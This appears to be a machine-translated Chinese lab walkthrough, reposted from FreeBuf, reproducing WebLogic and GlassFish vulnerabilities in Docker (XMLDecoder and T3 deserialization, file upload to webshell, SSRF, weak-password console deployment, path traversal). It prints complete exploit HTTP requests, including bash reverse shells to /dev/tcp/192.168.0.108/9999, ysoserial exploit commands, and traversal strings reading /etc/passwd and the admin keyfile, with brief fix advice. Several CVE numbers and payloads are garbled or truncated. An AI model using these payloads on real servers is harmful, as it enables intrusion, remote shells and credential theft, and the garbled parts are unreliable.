經常件之間的漏洞復現(下)
繼續上篇復現中間常見的件漏洞
在虛擬機器中安裝docker環境具體不再演示了
網路邏輯
WebLogic 是美國公司出品的一款應用伺服器,確切的說是一個基於 JAVAEE 架構的伺服器,WebLogic 是、整合、部署和管理大型 Web 應用、網路應用開發和資料庫的 Java 應用伺服器。 Java的動態功能和Java企業標準的安全性引入了大型網路應用的開發、整合、部署和管理當中。
XMLDecoder 反序列化漏洞(CVE-2017-3506 & CVE-2017-10271)
影響版本:Weblogic < 10.3.6
漏洞利用形成 WLS 元件額外提供的 Web 服務服務使用了 XMLDevex 來解析命令出現的序列使用者的過程中,Weblogic 中的資料,在解析中生成反化漏洞,導致編碼器發生異常。
使用docker環境
成功瀏覽器訪問:,介面上出現Error 404--Not Found,即啟動。
訪問 /wls-wsat/CoordinatorPortType 返回如下頁面,則可能存在此漏洞
只要是在wls -wsat/CoordinatorPortType的情況下。只要
是在wls-wsat中的Uri都會受到影響,可以檢視web.xml包中的所有會在Uri中受到影響,路徑為:\Oracle\iddleware\user_projects\domains\ base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
會受到 Uri 的影響:
/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11
抓取包POST寫入資料,其中Content-Type需要解譯,否則可能導致XML編碼器不解析。
這句會寫入一個test.jsp訪問會列印,真實性寫shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 533<soapenv:Envelope xmlns:soapenv="![CDATA[<% out.print("1_Ry"); %>]]></string></void><void method="close"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
訪問/bea_wls_internal/test.jsp,如下,可以看到寫入成功
驗證成功漏洞,然後透過下面的命令執行反彈到本地,這裡反彈ip不能是1270.0.1,因此反彈不到。
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.0.108/9999 0>&1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
也可以寫入jsp webshell,這裡就不演示了
CVE-2017-3506 的上傳新增了驗證函式,解決方法在 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java 中新增了validate 驗證有效負載中的節點是否存在物件標籤。
將換成這樣就可以替換了,產生了CVE-2017-171,還可以換成陣列,新的等我們換成物件。
<soapenv:Envelope xmlns:soapenv="![CDATA[<% out.print("1_Ry"); %>]]></string></void><void method="close"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
修復建議:
-
安裝更新。
-
或刪除wls-wsat元件,再次訪問返回404。
1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat
Weblogic wls9_async_response,wls-wsat 反序列化遠端執行程式碼漏洞(CVE-2019-2725)
影響元件:bea_wls9_async_response.war, wls-wsat.war
影響版本:10.3.6.0, 12.1.3.0
訪問 /_async/AsyncResponseService 以下頁面,則可能存在返回此漏洞。
漏洞存在於/AsyncResponseService 是在bea_wls9_async_response_包中的Uri 都會受到影響,可以檢視web.xml 在所有的Uri 中都會受到影響,路徑為:\Oraclebase_domain\servers\Admin\Server tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
會受到 Uri 的影響:
/_async/AsyncResponseService/_async/AsyncResponseServiceJms/_async/AsyncResponseServiceHttps
這個漏洞實際上是CVE-2017-10271的又一入口。
CVE-20173506 的結果是過濾了物件,CVE-2017-10271-的結果是過濾了新的,方法標籤,void 後面只能跟索引,陣列後面可以類,但是必須是位元組型別的。
輪到CVE-217-1111111111因為class0207標籤過濾所帶來的
有效載荷:
POST /_async/AsyncResponseService HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 786<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.0.108/9999 0>&1</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
Weblogic Server WLS Core Components反序列化命令執行漏洞(CVE-2018-2628),該漏洞透過t3協議觸發,可導致未授權的使用者在遠端伺服器執行任意命令。
下載ysoserial.jar
使用ysoserial.jar,啟動JRMP Server,我建立了一個1_Ry資料夾,JRMP Server監聽的埠為9999
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/1_Ry'
然後,使用
,向目標Weblogic(
)傳送資料包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,
是目標weblogic的IP和埠,
是本地的序列的路徑,先
和
地址中啟動JRMP Server的IP值和埠。是執行
[victim ip]
MPClient
的類,可選的是
或或
。
[victim port]
[path to ysoserial]
[JRMPListener ip]
[JRMPListener port]
[JRMPClient]
JRMPClient
JRMPClient2
下面是我的構造的有效載荷
python exploit.py 127.0.0.1 7001 /root/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.108 9999 JRMPClient2
可以看到命令執行成功,建立了一個 1_Ry 資料夾執行成功
修復建議:
-
過濾t3協議。
-
安裝升級
Weblogic 任意檔案上傳漏洞(CVE-2018-2894)
影響版本:12.1.3.0、12.2.1.2、12.2.1.3
漏洞形成 Web Service Test Page:Web Service 必須限制“Web 檔案上傳漏洞”,開啟“生產模式下預設不開啟,所以該漏洞有限制。
若需在Weblogic生產模式下進行復現,則需要登入後臺頁面,點選base_domain的配置,在“高階”設定中開啟“啟用Web服務測試頁”選項
訪問
/console
,可以檢視後臺登入頁面。
執行
docker-compose logs | grep password
可檢視管理員密碼,管理員使用者名稱為
weblogic
。
後臺登入頁面,點選
base_domain
配置,在“高階”中開啟“啟用Web服務測試頁”選項:(記得點儲存)
第一次上傳點:訪問
設定 Work Home Dir 為 ws_utc 應用的靜態檔案 css 目錄
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。因為訪問這個目錄是單獨許可權的
提交後,點選左側安全->新增,然後上傳Webshell。
提交提交,抓取的返回資料,點選上傳,可以看到串號
,自動執行webshel l
第二處上傳點:ws_utc/begin.do
點選返回的資料夾,上傳網頁,並抓取
可以看到返回的路徑,直接訪問ws_utc/css/upload/RS_Upload_2022-03-03_14-18-52_934/import_file_name_shell.jsp
Weblogic SSRF漏洞(CVE-2014-4210)
影響版本:10.0.2.0, 10.3.6.0
透過返回資料包中的錯誤資訊,即可檢測內網狀態。
訪問/uddiexplorer/SearchPublicRegistries.jsp,若能正常訪問,則可能存在此漏洞,填寫任意資訊,如下
點選搜尋,並抓抓包之後在 Burp 中擷取,選擇更改請求方式,將 POST 請求更改成 GET。
引數operator為SSRF的可控引數
-
將其更改為開啟的埠,如,將返回錯誤碼
-
如果開放埠為HTTP協議(但22埠顯示也是HTTP協議),如 一個有效的返回ID沒有SOAP內容型別。
-
訪問不存在的埠,將返回無法透過 HTTP 連線到伺服器
透過資料中的報錯資訊,可以檢測到內網狀態。實戰中可以透過破解,從返回資料包的長度來判斷開啟了哪些埠,再根據開放的返回邏輯包使用,這裡參考 vulhub/web /ssrf at master · vulhub/vulhub (github.com)
修復建議:
-
刪除SearchPublicRegistries.jsp檔案或修改SearchPublicRegistries.jsp檔案字尾為不解析字尾,如SearchPublicRegistries.jspxxx,PublicRegistries.jsp路徑為:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw \戰爭
Weblogic弱弱&&後臺getshell
訪問console自動控制臺到console/login/LoginForm.jsp,使用弱登入後臺。
進入後臺,點選部署,進入點選右側的安裝。
選擇上傳檔案
上傳戰爭包
上傳完成 以後你上傳的檔案,點選下一步
再下一步後直接點選完成智慧
可以看到已經部署
訪問:[戰爭包名]/[包名內檔名]智慧
修復建議:
-
避免後臺弱
玻璃魚
GlassFish 是用於製造 Java EE 5 應用程式伺服器的開源專案的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的原始碼以及 Oracle 貢獻的 TopLink 效能程式碼。服務的過程,以更快的速度提供新的功能。
8080(Web應用埠,即網站內容),4848(Glass預設魚管理中心)
GlassFish 任意檔案讀取漏洞(CVE-2017-1000028)
最新版本:<=4.1.2版本
Java語言中傳輸%c0%af解析為\uC0AF,最後轉義為ASCCII字元的/(斜槓)。利用.%c0%af.%c0%af來向上跳轉,到達穿透、任意讀取檔案的效果。
發現了8個編碼接收並指定這是一個計算機進行的標準轉義,當發現一個位元組000表示ASCII字元,當1100個大意,則取2個位元組後去掉110個
模板
. UTF8 編碼模板如下
C0AF轉換位二進位制為110 00000 10 101111,111111,11111,11111,110開頭去掉後為00000 101111為47,ASSCI為/。
%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
讀admin-keyfile檔案,該檔案是儲存管理員密碼的檔案
%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
修復建議
-
升級GlassFish最新版本。
GlassFish後臺Getshell
127.0.0.1:4848進入後臺後應用,右邊的部署
戰爭包後上傳,上下文根這個關係到你訪問的url,點選確定。
修復建議
-
不開放後臺給外網
-
避免使用弱回
來自 “ FreeBuf ”, 原文作者:小魚;原文連結:https://www.freebuf.com/vuls/323926.html,如有侵權,請聯絡管理員刪除。
相關文章
- 常見中介軟體漏洞復現(上)
- Linux常見漏洞修復教程!Linux
- weblogic 漏洞復現Web
- Apache漏洞復現Apache
- 滲透測試之小白的常見web漏洞總結(下)Web
- phpStudy poc漏洞復現以及漏洞修復辦法PHP
- 永恆之藍漏洞復現(ms17-010)
- [永恆之黑]CVE-2020-0796(漏洞復現)
- 笑臉漏洞復現
- Tomcat系列漏洞復現Tomcat
- Vulhub WebLogic漏洞復現Web
- weblogic ssrf漏洞復現Web
- 【阿菜漏洞復現】DeFi 平臺 MonoX Finance 漏洞分析及復現MonoNaN
- 護網漏洞復現(三)
- Weblogic-SSRF漏洞復現Web
- 上海交大洩漏8.4TB電子郵件資料 漏洞已經修復
- MySQL異常恢復之無主鍵情況下innodb資料恢復的方法MySql資料恢復
- 【漏洞復現】Shiro<=1.2.4反序列化漏洞
- CVE-2015-5254漏洞復現
- CVE-2016-3088漏洞復現
- Redis未授權漏洞復現Redis
- IIS短檔名漏洞復現
- nginx目錄穿越漏洞復現Nginx
- 【漏洞復現】Paraluni 安全事件分析事件
- CVE2019-11043漏洞復現
- cve-2020-1472 漏洞復現
- Django之SQL隱碼攻擊漏洞復現(CVE-2021-35042)DjangoSQL
- 網站漏洞修復之Metinfo 檔案上傳漏洞網站
- 解密下經常讓新人抓狂的 ThrottleRequests::addHeaders () 異常解密Header
- 在補丁上戳個洞——利用已經被修復的漏洞實現IE沙箱逃逸
- Python中的10個常見安全漏洞及修復方法Python
- 某小型CMS漏洞復現審計
- 資料庫安全-ElasticSearch漏洞復現資料庫Elasticsearch
- ThinkAdmin漏洞(CVE-2020-25540 )復現
- CVE-2019-15107_webmin漏洞復現Web
- weblogic(CVE-2019-2725)漏洞復現Web
- Fastjson反序列化漏洞復現ASTJSON
- 網站漏洞處理修復服務之lankecms篡改漏洞網站